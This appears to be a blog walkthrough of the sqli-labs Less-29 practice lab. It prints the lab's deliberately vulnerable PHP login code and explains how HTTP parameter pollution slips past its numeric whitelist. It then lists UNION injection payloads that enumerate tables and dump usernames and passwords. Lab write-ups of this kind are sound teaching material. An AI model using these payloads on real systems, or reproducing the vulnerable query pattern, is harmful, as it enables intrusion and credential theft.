当前位置:网站首页>SQL injection less29 (parameter pollution bypasses WAF)
SQL injection less29 (parameter pollution bypasses WAF)
2022-07-27 22:19:00 【Happy star】
Pre knowledge :Try to Hack】HTTP Parameter pollution
There are three documents login.php、hacked.php、index.php
login.php
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
//disable error reporting
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$qs = $_SERVER['QUERY_STRING'];
$hint=$qs;
$id1=java_implimentation($qs);
$id=$_GET['id'];
//echo $id1;
whitelist($id1);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else {
echo "Please input the ID as parameter with numeric value";}
//WAF implimentation with a whitelist approach..... only allows input to be Numeric.
function whitelist($input)
{
$match = preg_match("/^\d+$/", $input);
if($match)
{
//echo "you are good";
//return $match;
}
else
{
header('Location: hacked.php');
//echo "you are bad";
}
}
// The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution).
function java_implimentation($query_string)
{
$q_s = $query_string;
$qs_array= explode("&",$q_s);
foreach($qs_array as $key => $value)
{
$val=substr($value,0,2);
if($val=="id")
{
$id_value=substr($value,3,30);
return $id_value;
echo "<br>";
break;
}
}
}
?>
First of all, let's analyze whitelist function
function whitelist($input)
{
$match = preg_match("/^\d+$/", $input);
if($match)
{
//echo "you are good";
//return $match;
}
else
{
header('Location: hacked.php');
//echo "you are bad";
}
}
Ask for our id It must be a number , Or jump to hacked.php Interface
$qs = $_SERVER['QUERY_STRING'];
$hint=$qs;
$id1=java_implimentation($qs);
$id=$_GET['id'];
//echo $id1;
whitelist($id1);
$_SERVER['QUERY_STRING'] It is our GET All parameters of parameter transfer 
java_implimentation function , Want to simulate HTTP Different parsing results of another Middleware in parameter pollution ( Because our current real environment is only Apache,Apache When the parameter of is polluted, it is resolved as last), This function is simulated and resolved as first
// The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution).
function java_implimentation($query_string)
{
$q_s = $query_string;
$qs_array= explode("&",$q_s);
foreach($qs_array as $key => $value)
{
$val=substr($value,0,2);
if($val=="id")
{
$id_value=substr($value,3,30);
return $id_value;
echo "<br>";
break;
}
}
}
$id1=java_implimentation($qs);
whitelist($id1);
So we ?id=11&id=payload
Just forgive this WAF 了
?id=1&id=-1' union select 1,2,3--+
And then do the routine UNION Just inject
?id=1&id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
?id=1&id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=1&id=-1' union select 1,2,group_concat(username,0x3a,password) from security.users --+
边栏推荐
- Are Transformers Effective for Time Series Forecasting?|填坑
- MySQL series - database tables, queries, sorting, and data processing functions
- Matplotlib 多子图绘制
- Starfish Os X MetaBell战略合作,元宇宙商业生态更进一步
- [question 24] logic closed loop (Beijing Institute of Technology / Beijing University of Technology / programming methods and practice / primary school)
- 视频直播源码,uni-app实现广告滚动条
- 云原生微服务第三章之Haproxy+Keepalived
- Read Plato farm's eplato and the reason for its high premium
- Why do server programs need to listen first
- Mimx8md6cvahzab i.MX 8mdual cortex-a53 - Microprocessor
猜你喜欢

高频继电器

Behind every piece of information you collect, you can't live without TA

Seven lines of code crashed station B for three hours

The gratitude and resentment between the four swordsmen and code review: "abandon all chaos" to "prodigal son returns"

B站崩了,如果我们是那晚负责修复的开发人员

Station B collapsed. If we were the developer responsible for the repair that night

Small change project (two versions) with detailed ideas

day 1 - day 4

一种比读写锁更快的锁,还不赶紧认识一下

电磁继电器
随机推荐
只会Excel想做图表可视化,让数据动起来?可以,快来围观啦(附大量模板下载)
Monitor the running of server jar and restart script
Leetcode 301. delete invalid parentheses
dBm和Vpp以及Vpeak的关系
舌簧继电器
Pythia: Facebook's latest open source visual and language multitasking learning framework
[stonedb fault diagnosis] MDL lock waiting
[question 24] logic closed loop (Beijing Institute of Technology / Beijing University of Technology / programming methods and practice / primary school)
Memo mode - unity
【StoneDB故障诊断】MDL锁等待
More than 100 lines should be split into functions
Learn the use principle and core idea of thread pool from the source code
Live video source code, uni app to achieve advertising scroll bar
Starrocks community structure comes out, waiting for you to upgrade!
ApacheSpark-命令执行(CVE-2022-33891) 漏洞复现
8000字讲透OBSA原理与应用实践
JVM memory model interview summary
If demand splitting is as simple as cutting a cake | agile practice
leetcode383赎金信
B站崩了,如果我们是那晚负责修复的开发人员